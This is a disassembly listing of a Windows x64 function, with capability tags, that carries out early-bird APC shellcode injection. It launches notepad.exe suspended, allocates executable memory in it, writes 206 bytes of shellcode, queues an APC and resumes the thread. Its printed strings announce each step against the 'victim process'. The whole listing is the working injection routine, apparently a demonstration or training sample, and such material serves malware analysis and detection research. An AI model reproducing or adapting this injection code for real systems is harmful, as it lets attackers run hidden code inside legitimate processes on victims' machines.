Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inject apc
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x1c0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, [0x140003280]
call fcn.140001010
lea rcx, str.EXECUTING_WITHOUT_SYSCALLS____n
call fcn.140001010
lea rcx, str._n_n
call fcn.140001010
lea rcx, [0x1400032f0]
movups xmm0, xmmword [rcx]
lea rdx, [rsp + 0xe0]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x40]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x10], xmm0
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm1
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm1
movups xmmword [rdx + 0x30], xmm0
mov qword [rdx + 0x40], rax
mov eax, dword [rcx + 0x48]
xorps xmm0, xmm0
mov dword [rdx + 0x48], eax
movzx eax, word [rcx + 0x4c]
lea rcx, str.___Creating_a_new_process_to_inject_shellcode_into..._n
mov word [rdx + 0x4c], ax
xor eax, eax
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0x50], xmm0
call fcn.140001010
xor ebp, ebp
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rcx, str.C:WindowsSystem32_notepad.exe
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rbp
xor edx, edx
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rcx, str.___Allocating_memory_in_the_victim_process..._n
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0xce
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
lea rcx, str.___Writing_shellcode_to_the_victim_process..._n
call fcn.140001010
mov r9d, 0xce
mov qword [rsp + 0x20], rbp
lea r8, [rsp + 0xe0]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.___Creating_a_new_thread_in_the_victim_process_to_execute_the_shellcode..._n
call fcn.140001010
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
lea rcx, str.___Resuming_the_victim_processs_main_thread..._n
call fcn.140001010
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.1400012c0
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret